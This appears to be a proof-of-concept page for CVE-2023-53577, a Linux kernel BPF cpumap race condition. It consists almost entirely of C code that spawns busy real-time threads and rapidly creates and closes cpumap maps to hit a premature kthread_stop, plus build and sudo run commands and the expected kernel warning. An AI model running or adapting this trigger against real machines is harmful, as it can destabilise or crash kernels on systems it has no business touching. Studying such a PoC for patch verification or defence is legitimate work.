CVE-2023-53577：Linux内核BPF cpumap竞争条件漏洞

// PoC for CVE-2023-53577 - Linux Kernel BPF cpumap Race Condition // This PoC demonstrates triggering the race condition in cpu_map_kthread_stop // Requires: root or CAP_BPF/CAP_NET_ADMIN privileges, Linux kernel < 6.5 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/resource.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> // Structure to hold CPU map FD static int g_cpumap_fd = -1; // Thread function to create RT scheduling pressure static void *rt_pressure_thread(void *arg) { struct sched_param sp = { .sched_priority = 50 }; pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp); volatile long long counter = 0; while (1) { counter++; // Busy loop to create CPU pressure if (counter % 1000000 == 0) { usleep(1); // Yield occasionally } } return NULL; } // Create a BPF CPU map with specified CPU static int create_cpumap(int cpu) { int fd; __u32 key = 0; __u32 value = cpu; // BPF_MAP_TYPE_CPUMAP creation union bpf_attr attr = {}; attr.map_type = 6; // BPF_MAP_TYPE_CPUMAP attr.key_size = 4; attr.value_size = 4; attr.max_entries = 1; fd = bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); if (fd < 0) { perror("bpf_map_create"); return -1; } // Update the map with target CPU attr.map_fd = fd; attr.key = (__u64)&key; attr.value = (__u64)&value; if (bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)) < 0) { perror("bpf_map_update_elem"); close(fd); return -1; } return fd; } // Rapidly create and destroy CPU maps to trigger race condition static void *trigger_race(void *arg) { int iterations = *(int *)arg; for (int i = 0; i < iterations; i++) { int fd = create_cpumap(i % 8); if (fd >= 0) { // Immediately close to trigger kthread_stop // while kthread may not have started yet close(fd); } // No sleep - maximize race window } return NULL; } int main(int argc, char **argv) { int num_threads = 4; int iterations = 10000; printf("CVE-2023-53577 PoC - BPF cpumap Race Condition\n"); printf("Requires: Linux kernel < 6.5, root/CAP_BPF\n\n"); if (getuid() != 0) { fprintf(stderr, "Error: must run as root\n"); return 1; } // Set RT scheduling for main process struct sched_param sp = { .sched_priority = 1 }; setpriority(PRIO_PROCESS, 0, -20); // Launch RT pressure threads pthread_t rt_threads[4]; for (int i = 0; i < 4; i++) { pthread_create(&rt_threads[i], NULL, rt_pressure_thread, NULL); } // Launch race trigger threads pthread_t race_threads[4]; for (int i = 0; i < num_threads; i++) { pthread_create(&race_threads[i], NULL, trigger_race, &iterations); } // Wait for completion for (int i = 0; i < num_threads; i++) { pthread_join(race_threads[i], NULL); } printf("Race condition trigger complete. Check dmesg for warnings.\n"); printf("Look for: WARNING: CPU: ... at kernel/bpf/cpumap.c:135\n"); return 0; } // Build: gcc -o poc poc.c -lbpf -lpthread // Run: sudo ./poc // Expected: Kernel warning at kernel/bpf/cpumap.c:135 (put_cpu_map_entry+0xda/0x220)